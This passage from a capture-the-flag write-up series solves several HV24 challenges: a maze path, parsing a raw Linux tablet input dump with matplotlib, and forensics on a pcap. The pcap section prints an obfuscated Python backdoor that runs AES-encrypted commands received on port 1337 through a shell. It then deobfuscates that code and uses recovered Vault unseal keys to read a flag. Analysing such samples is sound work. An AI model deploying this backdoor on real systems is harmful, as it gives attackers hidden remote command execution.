ssddssaaaawwwwwwddwwaawwwwwwddwwwwddwwaaaawwwwddssddwwddssssddddssddssssaawwaaaaaas
sddssddddssssddwwwwddwwwwddssddddwwwwwwwwaawwwwaaaaaawwddddddddddssssddddddssddwwdd
wwaaaawwwwwwddssddddssssssddwwwwwwddssssddddssssaaaaddddwwwwaaaawwwwaassssssaawwwww
waaaawwaassssssddddssaassaawwaaaaaawwwwaaaaaaaaaassddddddssssddssssssssaaaawwaassss
aassssaawwwwaaaawwaawwddddddssddwwwwaawwaaaawwwwaassaawwaassssddddssaassssaassssssd
dssaassssssddddwwaawwddwwddwwaawwddddssssssaassssddwwddssddwwddddwwwwwwwwwwddddssdd
wwwwwwddwwwwaawwddddssssssddwwwwddssssssssaawwaassaassssssssssddddssddddddddddddwww
waaaawwwwwwwwaaaawwddwwwwddssddssddwwwwwwddddssddddwwaawwaawwddddwwaawwaaaaaawwddww
wwddddddwwaawwddwwwwwwwwaawwaaaassddssddssaassaaaawwddwwaawwaassssssssssaaaaaaaassa
aaaaaaassaawwwwddddwwwwddwwaaaassssaawwwwaawwwwwwaaaassaaaaaawwaaaassssddssddssdddd
ssssddww
Current:
ssddssssddssddssaaaaaassddddssddssssaassaaaassddddddwwddssddwwwwaawwddddddssddwwddw
waawwddwwaawwaawwaaaaaaaawwaawwwwddddssddddddwwddddssssssddssssddwwwwddddssaassssaa
aassssddwwddddddddwwddddddddwwwwwwwwwwddssddssaassddddwwddwwaawwaawwaaaaaassssaawww
waaaaaassddddssaassddssssaaaawwwwwwaawwaassaaadddwwddssddssssssddddwwwwaawwddwwaaaa
wwddddddssssddwwwwddddddddddssddssssssssaassddssaaaaaassssaassddddddssddssaaaassdds
sddssaaaawwaaaassssssaawwaawwaassssaassddddssssssssddddssssaaaaaaaaaaaawwaaaawwwwww
wwwwddwwddssddwwwwwwwwaassssaawwwwwwaaaassddssssaassssssaawwaaaassssssssssaaaassddd
dddddwwwwddwwwwaaaawwssddddssssaassssaaaaaaaaaawwaassaawwwwddwwwwwwaaaassddssaassaa
ssddssaaaawwwwwwddwwaawwwwwwddwwwwddwwaaaawwwwddssddwwddssssddddssddssssaawwaaaaaas
sddssddddssssddwwwwddwwwwddssddddwwwwwwwwaawwwwaaaaaawwddddddddddssssddddddssddwwdd
wwaaaawwwwwwddssddddssssssddwwwwwwddssssddddssssaaaaddddwwwwaaaawwwwaassssssaawwwww
waaaawwaassssssddddssaassaawwaaaaaawwwwaaaaaaaaaassddddddssssddssssssssaaaawwaassss
aassssaawwwwaaaawwaawwddddddssddwwwwaawwaaaawwwwaassaawwaassssddddssaassssaassssssd
dssaassssssddddwwaawwddwwddwwaawwddddssssssaassssddwwddssddwwddddwwwwwwwwwwddddssdd
wwwwwwddwwwwaawwddddssssssddwwwwddssssssssaawwaassaassssssssssddddssddddddddddddwww
waaaawwwwwwwwaaaawwddwwwwddssddssddwwwwwwddddssddddwwaawwaawwddddwwaawwaaaaaawwddww
wwddddddwwaawwddwwwwwwwwaawwaaaassddssddssaassaaaawwddwwaawwaassssssssssaaaaaaaassa
aaaaaaassaawwwwddddwwwwddwwaaaassssaawwwwaawwwwwwaaaassaaaaaawwaaaassssddssddssdddd
ssssddww
Congratulations! You've masterfully guided Santa through the maze, collecting every
gift with the perfect path!
Well done for guiding Santa through all the levels! Here's your gift:
HV24{santa-is-a-travelling-salesman}

Flag: HV24{santa-is-a-travelling-salesman}
[HV24.08] Santa's Handwriting
Introduction

Santa has bought a new drawing pad and has tried it out on his Linux machine immediately.
However, Grinch has monitored the raw data stream of what he has written. Santa found out
about this and recovered the data which Grinch has stolen, but it seems to be modified to
prevent a direct reconstruction. Can you help out Santa?

Analyze the dump and get the flag.

Flag format: HV24{}

sha256sum of publish.raw: e059b01ae3cc0f8fb97e4bc44b0fbc9e51dd56639b8ab5a1be0 c3


fb9e189

This challenge was written by kuyaya. Last minute challenge writing goes brrr.

Solution:

Todays challenge is just a raw binary file.

We see a LOT of repetitive “ySg” structures in the file and can “massage” it a bit:

As it turns out the sequence xx 79 53 67 is a timestamp (in LE), e.g. 67 53 79 4a == 1733523786


(saying, the last column is actually the first byte of the next line) == Friday, 6. December 2024
22:23:06

Working from here – and a little nudge, we understand that this is a raw dump from /dev/input
with a given structure:
and can be parsed like so:

This code has just one problem... it treats the timestamp as a 2x 32 bit value, which it actually is
not, it is a 2x 64 bit value, which makes sense looking at our data in the “Notepad++ hexdump”.
(Chat GPT actually gives exactly the code example above when you ask for demo code how to
parse the stu )

So the dissector actually should be:


# Define the input_event structure format
# struct timeval (2 fields: tv_sec, tv_usec) + type (u16) + code (u16) + value
(s32) EVENT_FORMAT = 'qqHHi' EVENT_SIZE = struct.calcsize(EVENT_FORMAT)

We now can write code which dissects the various events and event-types.

The only thing we need to be aware of, that a lot of FAKE events are present in the stream, i.e.
where the timestamp does NOT lie in the reasonable time window of 06.12.2024.

https://github.com/torvalds/linux/blob/master/include/uapi/linux/input-event-codes.h#L845

We can do some tweaking and eventually get a nice little parser and can animate the
handwriting using mathplotlib:

import struct
from datetime import datetime
import matplotlib.pyplot as plt
from matplotlib.animation import FuncAnimation

# Define the input_event structure format


# struct timeval (2 fields: tv_sec, tv_usec) + type (u16) + code (u16) + value
(s32)
# !!!! We have 64 bit timestamps not 32 bit !!!!
EVENT_FORMAT = 'qqHHi'
EVENT_SIZE = struct.calcsize(EVENT_FORMAT)

# Open the binary file for reading


filename = 'publish.raw' # Replace with your binary file
events = []
fig, ax = plt.subplots()

# Derived values from calculating the stuff (see below)


ax.set_xlim(3600, 29000)
ax.set_ylim(-7600, -18000)

# Initialize a line object on the plot


line, = ax.plot([], [], marker='o', linestyle='-', color='b', linewidth=1)

# Initialize empty lists for x and y coordinates that will be updated


x_vals, y_vals = [], []
ax.invert_yaxis()
movements = []

def update(frame):
# Add the new point to the x and y lists
x_vals.append(movements[frame][0])
y_vals.append(movements[frame][1])

# Update the data of the line


line.set_data(x_vals, y_vals)

return line, # The comma is important for FuncAnimation's return type

with open(filename, 'rb') as f:


while chunk := f.read(EVENT_SIZE):
# Unpack binary data into structured fields
(tv_sec, tv_usec, event_type, event_code, event_value) =
struct.unpack(EVENT_FORMAT, chunk)

# Convert timestamp to human-readable format


try:
event_time = datetime.fromtimestamp(tv_sec).strftime('%Y-%m-%d
%H:%M:%S')
year = datetime.fromtimestamp(tv_sec).strftime('%Y')
ev_t = datetime.fromtimestamp(tv_sec)
except:
continue
# Add microseconds to the timestamp
full_time = f"{event_time}.{tv_usec:06d}"
if ev_t.year==2024 and ev_t.month==12 and ev_t.day == 6 and event_type !=
0x00:
events.append([full_time, event_type, event_code,
event_value])
# Print each event
#print(f"Timestamp: {full_time} (0x{tv_sec:x})")
#print(f"Type: {event_type} | Code: {event_code} | Value:
{event_value}")
#print("-" * 40)

sorted_events = sorted(events, key=lambda x: x[0])


minx = 32000
maxx = -32000
miny = 32000
maxy = -32000
gotx = False
goty = False
clearpress = 0
pressure = 0
for x in sorted_events:
match x[1]:
case 0x03: #EV_ABS
match x[2]:
case 0x00:
axis = "X"
gotx = True
xval = x[3]
case 0x01:
axis = "Y"
goty = True
yval = x[3]
case 0x18:
axis = "PRESSURE"
case _:
axis = "?"
if axis == "PRESSURE":
pressure = x[3]
print(f"{x[0]}: EV_ABS, {axis}, {x[3]}")
if gotx and goty and pressure > 1000:
# Only when we have sensible pressure values we actually "draw"
movements.append((xval, -1*yval))
gotx = False
goty = False
if axis == "X":
if x[3]<minx:
minx=x[3]
if x[3]>maxx:
maxx=x[3]
elif axis == "Y":
if x[3]<miny:
miny=x[3]
if x[3]>maxy:
maxy=x[3]
case 0x04:
#print(f"{x[0]}: EV_MSC, {x[2]}, {x[3]}") # only subtype 0x04
exists ("MSC_RAW")
pass
case 0x01:
match x[2]:
case 0x14a:
key = "BTN_TOUCH"
case 0x140:
key = "BTN_DIGI"
print(f"{x[0]}: EV_KEY, {key}, {'Pressed' if x[3] == 1 else
'Released or held'}")
if key == "BTN_TOUCH" and x[3] == 1:
clearpress+=1
#if clearpress == 6:
# pass #break
#movements.clear()

case 0x02:
print(f"{x[0]}: EV_REL, {x[2]}, {x[3]}") # Does not exist
case 0x06:
print(f"{x[0]}: ???, {x[2]}, {x[3]}") # Does not exist
case _:
print("Unknown")
print(f"min_x: {minx}, max_x: {maxx}, min_y: {miny}, max_y: {maxy}")
print(f"Number of clear button presses: {clearpress}")

# Create the animation


ani = FuncAnimation(fig, update, frames=len(movements), interval=1, repeat=True)
plt.show()

Flag: HV24{dr4w1ng}

[HV24.09] Naughty and nice


Introduction
Santa's naughty and nice list seems to have been misused. He is worried that something has
been stolen. Here is a pcap of when the attack took place, can you find out what was taken?
Download mirror: https://gofile.io/d/VWsBeg

Analyze the file and get the flag.


Flag format: HV24{}
sha256sum of santa.pcap: 1aa2601a19adbee6b4161853bdd250248b79fe019da2ece81f2f9407
41ddc586

Solution:

Looking at the PCAP we see quite some communication on port 80 and port 1337. Exporting the
files with Wireshark’s export objects functions gives us a docker image archive, that we can load
via “docker load < archive.zip”, which gives us a new “bread” image.

Looking at the other exports, we see how to tun the container:

We extract the challenge.py from /app:

_0x_j34f = getattr
_0x_k92l = __import__
_0x_m78x = lambda _: ''.join(map(lambda __: chr(__), _))
def _0x(_0x15d47, _0x98d42): return _0x_j34f(_0x_k92l(_0x_m78x(_0x15d47)),
_0x_m78x(_0x98d42))
_0x1b7e = _0x([98, 97, 115, 101, 54, 52], [98, 54, 52, 101, 110, 99, 111, 100,
101])
_0x1234 = _0x_m78x([95, 95, 110, 97, 109, 101, 95, 95])
_0x9abc = lambda _: globals().get(_, None)
_0x7f8g9 = _0x_m78x([111, 112, 101, 110, 115, 115, 108, 32, 101, 110, 99, 32, 45,
100, 32, 45, 97, 101, 115, 45, 50, 53, 54, 45, 101, 99, 98, 32, 45, 98, 97, 115,
101, 54, 52, 32, 45, 107])
_0x46233 = _0x_m78x([114, 101, 97, 100])
_0x4501 = _0x_m78x([97, 99, 99, 101, 112, 116])
_0xa230f = _0x([115, 116, 114, 105, 110, 103], [97, 115, 99, 105, 105, 95, 117,
112, 112, 101, 114, 99, 97, 115, 101])
_0x5678 = _0x_m78x([95, 95, 109, 97, 105, 110, 95, 95])
_0x1b3d7 = _0x([115, 116, 114, 105, 110, 103], [97, 115, 99, 105, 105, 95, 108,
111, 119, 101, 114, 99, 97, 115, 101])
_0x1215b = _0x_m78x([95, 48, 120, 53, 51, 52, 107, 50, 103])
_0x5d9a2 = _0x([115, 116, 114, 105, 110, 103], [100, 105, 103, 105, 116, 115])
_0x3b23 = _0x_m78x([111, 112, 101, 110])
_0x1a2b3 = _0x_m78x([47, 116, 109, 112, 47, 46, 98, 114, 101, 97, 100])
_0x58d1 = _0x_m78x([115, 112, 108, 105, 116])
_0x12482 = _0x([115, 117, 98, 112, 114, 111, 99, 101, 115, 115], [99, 104, 101, 99,
107, 95, 111, 117, 116, 112, 117, 116])
_0x3a65 = _0x_m78x([112, 114, 105, 110, 116])
_0x4d5e6 = _0x_m78x([101, 99, 104, 111])
_0x7f83 = _0x([115, 111, 99, 107, 101, 116], [115, 111, 99, 107, 101, 116])
_0x3c4d5 = _0x_m78x([48, 46, 48, 46, 48, 46, 48])
_0x4a32 = _0x_m78x([115, 101, 110, 100])
_0x7c91 = _0x_m78x([119, 114, 105, 116, 101])
_0x1d78 = _0x_m78x([98, 105, 110, 100])
_0x4623 = _0x_m78x([95, 48, 120, 50, 51, 107, 106, 103, 52])
_0x6b01 = _0x_m78x([108, 105, 115, 116, 101, 110])
_0xj65b4 = {
_0x_m78x([115, 104, 101, 108, 108]): len(list(filter(lambda _: _ != '', "a"))),
_0x_m78x([116, 101, 120, 116]): len(list(filter(lambda _: _ != '', "a"))),
}
class Str(str):
def _0x2323(self): return self.encode()
class _0x3434(bytes):
def __init__(self, _): self._ = _.decode()
def __str__(self) -> str: return self._
def _0x2a3f(_0x3a1e): return str(_0x3434(_0x1b7e(_0x3a1e._0x2323())))
def _0x6432a(_,Σ): return (_&~Σ)|(~_&Σ)
def _0x1a1b(_0x3a1e, _0x2b2c):
_0x4f5d = list(*())
_0x6d8f = iter(range(len(_0x3a1e)))
for _0x5d7e in _0x6d8f:
(_0x5c5b, _0x6d6b) = (_0x3a1e[_0x5d7e], _0x3a1e[next(_0x6d8f, _0x5d7e)] if
_0x5d7e + len(list(filter(lambda _: _ != '', "a"))) < len(_0x3a1e) else
_0x3a1e[_0x5d7e])
_0x4f5d.extend([chr(_0x6432a(ord(_0x5c5b), ord(_0x2b2c[_0x5d7e %
len(list(filter(lambda _: _ != '', "ab")))])))]);
_0x4f5d.extend([chr(_0x6432a(ord(_0x6d6b), ord(_0x2b2c[(_0x5d7e +
len(list(filter(lambda _: _ != '', "a")))) % len(list(filter(lambda _: _ != '',
"ab")))])))]);
_0x2d8c = list(*())
[_0x2d8c.extend([_0x4f5d[_0x5d7e + len(list(filter(lambda _: _ != '', "a")))],
_0x4f5d[_0x5d7e]]) if _0x5d7e + len(list(filter(lambda x: x != '', "a"))) <
len(_0x4f5d) else _0x2d8c.append(_0x4f5d[_0x5d7e]) for _0x5d7e in
range(len(list(filter(lambda _: _ != '', ""))), len(_0x4f5d),
len(list(filter(lambda _: _ != '', "ab"))))]
return ''.join(map(str, _0x2d8c))
def _0x9b67(data):
_0x1f94 = ''.join(sum(map(lambda _: [_], [_0xa230f, _0x1b3d7, _0x5d9a2, '+/']),
[]))
_0x8c13 = { _0x1f94[_0x8f0d]: (_0x8f0d // int(_0x1f94[-4]), _0x8f0d %
int(_0x1f94[-4])) for _0x8f0d in range(len(_0x1f94)) }
return ''.join(f"{_0x8c13[_0x7adf][int(_0x1f94[-
12])]}{_0x8c13[_0x7adf][int(_0x1f94[-11])]}" for _0x7adf in data if _0x7adf != "=")
def _0x23kjg4(_0x246g5):
_0x987yh54 = _0x246g5.recv(1024).strip().decode()
try:
_, _0x45h4g, _0x23dd, __ =
list(__builtins__.__dict__.values())[list(__builtins__.__dict__.values()).index(ope
n)](_0x1a2b3).__getattribute__(_0x46233)().__getattribute__(_0x58d1)('|')
#_, _0x45h4g, _0x23dd, __ = getattr(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "r"),
list(dir(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3,
"r")))[list(dir(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3,
"r"))).index(_0x4623)])().__getattribute__(_0x58d1)('|')
_0x25jybd = _0x12482(f"{_0x4d5e6} '{_0x987yh54}' | {_0x7f8g9}
'{_0x45h4g}'", **_0xj65b4).encode()
_0x48916b = _0x1a1b(_0x12482(_0x25jybd, **_0xj65b4), _0x23dd)
_0xff23de = _0x2a3f(Str(_0x48916b))
_0x712a6d = _0x9b67(_0xff23de)
_0x_j34f(_0x246g5,
list(dir(_0x246g5))[list(dir(_0x246g5)).index(_0x4a32)])(_0x712a6d.encode()+bytes([
10]))
except FileNotFoundError:
getattr(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "w"),
list(dir(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3,
"w")))[list(dir(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3,
"w"))).index(_0x7c91)])(f"{_0x987yh54}")
except Exception as e:
getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3a65)])(f"{e}")
_0x246g5.close()
def _0x534k2g():
_0x5b7c = _0x7f83(len(list(filter(lambda x: x != '', "ab"))),
len(list(filter(lambda x: x != '', "a"))))
_0x_j34f(_0x5b7c,
list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x1d78)])((_0x3c4d5, 1337))
_0x_j34f(_0x5b7c,
list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x6b01)])(len(list(filter(lambda x: x
!= '', "ab"))))
while True:
_0x8723bk2, _ = _0x_j34f(_0x5b7c,
list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x4501)])()
_0x9abc(_0x4623)(_0x8723bk2)
if _0x9abc(_0x1234) == _0x5678: _0x9abc(_0x1215b)()
Deofuscating the code with ChatGPT yields:

import base64
import subprocess
import socket
import string

def xor_bytes(a, b):


return bytes([_a ^ _b for _a, _b in zip(a, b)])

def decrypt(ciphertext, key):


key = key * (len(ciphertext) // len(key)) + key[:len(ciphertext) % len(key)]
return xor_bytes(ciphertext, key)

def handle_connection(client_socket):
data = client_socket.recv(1024).strip().decode()
try:
with open("/tmp/.bread", "r") as file:
_, key, ciphertext, _ = file.read().split('|')

decrypted_command = subprocess.check_output(
f"echo '{ciphertext}' | openssl enc -d -aes-256-ecb -base64 -k
'{key}'",
shell=True
).decode()

client_socket.send(decrypted_command.encode() + b"\n")
except FileNotFoundError:
with open("/tmp/.bread", "w") as file:
file.write(data)
except Exception as e:
print(e)
finally:
client_socket.close()

def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 1337))
server.listen(5)
while True:
client_socket, _ = server.accept()
handle_connection(client_socket)

if __name__ == "__main__":
main()

This is good for a nice overview, but when we compare it to our original source code we can see
it does not really match 100%. The whole call to decrypt/encrypt is missing:

decrypted_command = subprocess.check_output(
f"echo '{ciphertext}' | openssl enc -d -aes-256-ecb -base64 -k
'{key}'",
shell=True
).decode()
...
...
client_socket.send(decrypted_command.encode() + b"\n")

Therefore we start again, doing the deobfuscation manually but replacing expressions from the
Python REPL and Notepad ++
class Str(str):
def encode(self): return self.encode()
class _0x3434(bytes):
def __init__(self, _): self._ = _.decode()
def __str__(self) -> str: return self._
def _0x2a3f(a_string): return str(_0x3434(b64encode(a_string.encode())))
def xor_bytes(_,Σ): return (_&~Σ)|(~_&Σ)

def _0x1a1b(a_string, key):


output = []
an_iterator = iter(range(len(a_string)))
for cur_element in an_iterator:
(c_cur, c_curnext) = (a_string[cur_element], a_string[next(an_iterator,
cur_element)] if cur_element + 1 < len(a_string) else a_string[cur_element])
output.extend([chr(xor_bytes(ord(c_cur), ord(key[cur_element % 2])))]);
output.extend([chr(xor_bytes(ord(c_curnext), ord(key[(cur_element + 1) %
2])))]);

newlist = []
[newlist.extend([output[cur_element + 1], output[cur_element]]) if cur_element
+ 1 < len(output) else newlist.append(output[cur_element]) for cur_element in
range(0, len(output), 2)]
return ''.join(map(str, newlist))

def b64transform(data):
# Returns the concatenated value of the tupel for each char in the input
b64_alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
my_dict = {'A': (0, 0), 'B': (0, 1), 'C': (0, 2), 'D': (0, 3), 'E': (0, 4),
'F': (0, 5), 'G': (0, 6), 'H': (0, 7), 'I': (1, 0), 'J': (1, 1), 'K': (1, 2), 'L':
(1, 3), 'M': (1, 4), 'N': (1, 5), 'O': (1, 6), 'P': (1, 7), 'Q': (2, 0), 'R': (2,
1), 'S': (2, 2), 'T': (2, 3), 'U': (2, 4), 'V': (2, 5), 'W': (2, 6), 'X': (2, 7),
'Y': (3, 0), 'Z': (3, 1), 'a': (3, 2), 'b': (3, 3), 'c': (3, 4), 'd': (3, 5), 'e':
(3, 6), 'f': (3, 7), 'g': (4, 0), 'h': (4, 1), 'i': (4, 2), 'j': (4, 3), 'k': (4,
4), 'l': (4, 5), 'm': (4, 6), 'n': (4, 7), 'o': (5, 0), 'p': (5, 1), 'q': (5, 2),
'r': (5, 3), 's': (5, 4), 't': (5, 5), 'u': (5, 6), 'v': (5, 7), 'w': (6, 0), 'x':
(6, 1), 'y': (6, 2), 'z': (6, 3), '0': (6, 4), '1': (6, 5), '2': (6, 6), '3': (6,
7), '4': (7, 0), '5': (7, 1), '6': (7, 2), '7': (7, 3), '8': (7, 4), '9': (7, 5),
'+': (7, 6), '/': (7, 7)}
return ''.join(f"{my_dict[cur_elem][int(b64_alpha[-
12])]}{my_dict[cur_elem][int(b64_alpha[-11])]}" for cur_elem in data if cur_elem !=
"=")
def handle_connection(client_socket):
data = client_socket.recv(1024).strip().decode()
try:
_, key, ciphertext, __ = open('/tmp/.bread').read().split('|')
#_, key, ciphertext, __ = getattr(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index('open')])('/tmp/.bread',
"r"), list(dir(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index('open')])('/tmp/.bread',
"r")))[list(dir(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index('open')])('/tmp/.bread',
"r"))).index('handle_connection')])().split('|')
_0x25jybd = check_output(f"echo '{data}' | openssl enc -d -aes-256-ecb -
base64 -k '{key}'", **{'shell': 1, 'text': 1}).encode()
tmp = _0x1a1b(check_output(_0x25jybd, **{'shell': 1, 'text': 1}),
ciphertext)
_0xff23de = _0x2a3f(Str(tmp))
transformed = b64transform(_0xff23de)
client_socket.send(transformed.encode()+'\n')
except FileNotFoundError:
open("/tmp/.bread", "w").write(f"{data}")
except Exception as e:
print(f"{e}")
client_socket.close()

def __main__():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind('0.0.0.0', 1337)
server.listen(2)
while True:
client_socket, _ = server.accept()
handle_connection(client_socket)

if __name__ == '__main__': __main__()

So the high level code is:

The very first message from external to the bread container is “-+-|.bread was here.|........|-+-“
which is stored to /tmp/.bread

Actually, what we don’t see here is that the .... are in fact ASCII unprintable but decode to

>>> key = bytes.fromhex('f09f8d9ef09f9491').decode()

>>> key

' '

In the next messages, the server reads the input from external, AES256-ECB decrypts it using
the key “.bread was here.”, executes the command after decryption, then takes the output,
encodes it using a secret encoding routing, base64 encodes it and then twirls around the
base64 characters.

Once we have our encryption routine we can give ChatGPT another try to actually undo it: This
works pretty well:

def decode_string(encoded_string, key):


# Validate inputs

# Reverse character swapping


swapped_output = []
for i in range(0, len(encoded_string), 2):
if i + 1 < len(encoded_string):
# Swap back: second character comes before the first
swapped_output.extend([encoded_string[i + 1], encoded_string[i]])
else:
# No swapping needed for the last character
swapped_output.append(encoded_string[i])

# Reverse XOR encryption


original_output = []
for i, char in enumerate(swapped_output):
newchar = chr(ord(char) ^ ord(key[i % 2]))
original_output.append(newchar)

return ''.join(original_output)
and
def reverse_b64transform(transformed_data):
b64_alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
my_dict = {'A': (0, 0), 'B': (0, 1), 'C': (0, 2), 'D': (0, 3), 'E': (0, 4),
'F': (0, 5), 'G': (0, 6), 'H': (0, 7), 'I': (1, 0), 'J': (1, 1), 'K': (1, 2), 'L':
(1, 3), 'M': (1, 4), 'N': (1, 5), 'O': (1, 6), 'P': (1, 7), 'Q': (2, 0), 'R': (2,
1), 'S': (2, 2), 'T': (2, 3), 'U': (2, 4), 'V': (2, 5), 'W': (2, 6), 'X': (2, 7),
'Y': (3, 0), 'Z': (3, 1), 'a': (3, 2), 'b': (3, 3), 'c': (3, 4), 'd': (3, 5), 'e':
(3, 6), 'f': (3, 7), 'g': (4, 0), 'h': (4, 1), 'i': (4, 2), 'j': (4, 3), 'k': (4,
4), 'l': (4, 5), 'm': (4, 6), 'n': (4, 7), 'o': (5, 0), 'p': (5, 1), 'q': (5, 2),
'r': (5, 3), 's': (5, 4), 't': (5, 5), 'u': (5, 6), 'v': (5, 7), 'w': (6, 0), 'x':
(6, 1), 'y': (6, 2), 'z': (6, 3), '0': (6, 4), '1': (6, 5), '2': (6, 6), '3': (6,
7), '4': (7, 0), '5': (7, 1), '6': (7, 2), '7': (7, 3), '8': (7, 4), '9': (7, 5),
'+': (7, 6), '/': (7, 7)}

# Create a reverse mapping for tuples to Base64 characters


reverse_dict = {v: k for k, v in my_dict.items()}

# Split the transformed data into pairs of numbers


pairs = [(int(transformed_data[i]), int(transformed_data[i + 1])) for i in
range(0, len(transformed_data), 2)]

# Find the corresponding Base64 character for each pair


result = ''.join(reverse_dict[pair] for pair in pairs)
return result

One problem with this function is, that it does not properly pad the end (we’ll do this manually in
the next steps)

We can now try to apply this to the data we see in the pcap:

daubsi@playbox:/tmp$ echo 'U2FsdGVkX19DbJNRaY8QLd+K4TH7UnEfDGpXi498uXs=' | openssl


enc -d -aes-256-ecb -base64 -k '.bread was here.'
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
whoami

so the first command we receive is “whoami” and our response is...

>>>
reverse_b64transform("7411762557570237431263604771264574117614543702374511576047706
624")
'8J+VvvCfjKzwn5Wl8J+MsfCflJvwn42U'
>>> import base64
>>>
base64.b64decode(reverse_b64transform("74117625575702374312636047712645741176145437
02374511576047706624")).decode()
'🕾🌬🕥🌱🔛🍔'
>>>
decode_string(base64.b64decode(reverse_b64transform("741176255757023743126360477126
4574117614543702374511576047706624")).decode(),key)
'root\n\n'

The next big message decodes to:

'CONTAINER ID IMAGE COMMAND CREATED


STATUS PORTS
NAMES\n6d9fba5f0e9d bread "python /app/challen…" 20 seconds
ago Up 19 seconds 0.0.0.0:1337->1337/tcp, :::1337->1337/tcp
bread\nae8f6e8d452b naughty-nice-php "docker-php-entrypoi…" About a
minute ago Up About a minute 8080/tcp, 0.0.0.0:8080->80/tcp, :::8080->80/tcp
naughty-nice-php\nbccb71a4d5dc unbound "python3 -m http.ser…"
About a minute ago Up About a minute 0.0.0.0:443->443/tcp, :::443->443/tcp
unbound\n95323b34357c pihole/pihole:latest "/s6-init" 7 days ago
Up 3 days (healthy) 0.0.0.0:53->53/tcp, :::53->53/tcp, 0.0.0.0:80->80/tcp,
0.0.0.0:53->53/udp, :::80->80/tcp, :::53->53/udp, 67/udp pihole\n'

One of the last big blobs at the end turns out to be a hashicorp vault filesystem backups. We
unpack it to /tmp/vault.

The b64 text blob comes out to:


Unseal Key 1: hS1Nq99UzbfGKLNPOuHrydXT1tR/pQUcnF36MuXREBGX
Unseal Key 2: uxGwrQMFA58Oh3YPZuBAngblyEDMHL7x94n9bJkGgt5y
Unseal Key 3: hVg0HEx8668Jv9QysmS+bAZk29R61H0n8EYo0XhFC6RE
Unseal Key 4: u2TJGpAtJYfBEBFy7mUVO9VSxUDJbcbKm5IvjwSSmWuh
Unseal Key 5: l6tAUbXnXqUfnjZaYl8zw15AU5+kzMmSa5segejfr/SQ

Initial Root Token: hvs.WtGFk7i5bIwkjNzEXMAoSvEK

Vault initialized with 5 key shares and a key threshold of 3. Please securely
distribute the key shares printed above. When the Vault is re-sealed,
restarted, or stopped, you must supply at least 3 of these keys to unseal it
before it can start servicing requests.

Vault does not store the generated root key. Without at least 3 keys to
reconstruct the root key, Vault will remain permanently sealed!

It is possible to generate new unseal keys, provided you have a quorum of


existing unseal keys shares. See "vault operator rekey" for more information.

And we can immediately see that these are the credentials for unsealing a hashicorp vault.
sudo docker run --privileged --name vault -d -v ${PWD}/vault/file:/vault/file --
name vault hashicorp/vault server

It turns out we must not just mount the full /vault directory for whatever purpose, otherwise the
vault will always be “uninitialized”. No idea why. If we just mount the /file subfolder in it it works.

Now we need to unseal the vault to actually use it


root@playbox:/tmp/vault# docker exec -ti hardcore_pike /bin/sh
/ # export VAULT_ADDR=http://127.0.0.1:8200
/ # vault operator unseal
Unseal Key (will be hidden):
Key Value
--- -----
Seal Type shamir
Initialized true
Sealed true
Total Shares 5
Threshold 3
Unseal Progress 1/3
Unseal Nonce 30e6ef02-7155-3d5b-0793-29576f2a6b13
Version 1.18.2
Build Date 2024-11-20T11:24:56Z
Storage Type file
HA Enabled false
/ # vault operator unseal uxGwrQMFA58Oh3YPZuBAngblyEDMHL7x94n9bJkGgt5y
Key Value
--- -----
Seal Type shamir
Initialized true
Sealed true
Total Shares 5
Threshold 3
Unseal Progress 2/3
Unseal Nonce 30e6ef02-7155-3d5b-0793-29576f2a6b13
Version 1.18.2
Build Date 2024-11-20T11:24:56Z
Storage Type file
HA Enabled false
/ # vault operator unseal hVg0HEx8668Jv9QysmS+bAZk29R61H0n8EYo0XhFC6RE
Key Value
--- -----
Seal Type shamir
Initialized true
Sealed false
Total Shares 5
Threshold 3
Version 1.18.2
Build Date 2024-11-20T11:24:56Z
Storage Type file
Cluster Name santas-vault
Cluster ID 0a4c839c-d134-fd88-aa13-84910a0e78e5
HA Enabled false

And now we login

/ # vault login hvs.WtGFk7i5bIwkjNzEXMAoSvEK


Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key Value
--- -----
token hvs.WtGFk7i5bIwkjNzEXMAoSvEK
token_accessor bXpspfBV0XgD7T5U7fZaepaA
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]

/ # vault secrets list


Path Type Accessor Description
---- ---- -------- -----------
cubbyhole/ cubbyhole cubbyhole_14bbd07d per-token private secret storage
identity/ identity identity_521f0c6e identity store
secret/ kv kv_4e357e96 n/a
sys/ system system_265823df system endpoints used for control,
policy and debugging

/ # vault kv list secret/


Keys
----
santa

/ # vault kv get secret/santa


==== Data ====
Key Value
--- -----
value HV24{p1r4t3s_3v3rywh3r3_un53413d_4nd_r3v34l3d}
[HV24.10] Santa's Naughty Little Helper
Introduction

One of Santa's elves has gone rouge and spread a virus which has infected Santa's machine!
Santa's IT department was able to save a copy of Santa's home directory right after the infection
happened.

Unfortunately, some of Santa's files don't seem to work any longer.

Disclaimer:

 You do not need spend any real money to solve challenge.

 Examine files in a controlled, safe environment.

Solution:

Today’s challenge was really cool! Multistage!

The first thing we see is a lot of encrypted files, which have a certain structure and a
ransomware binary.

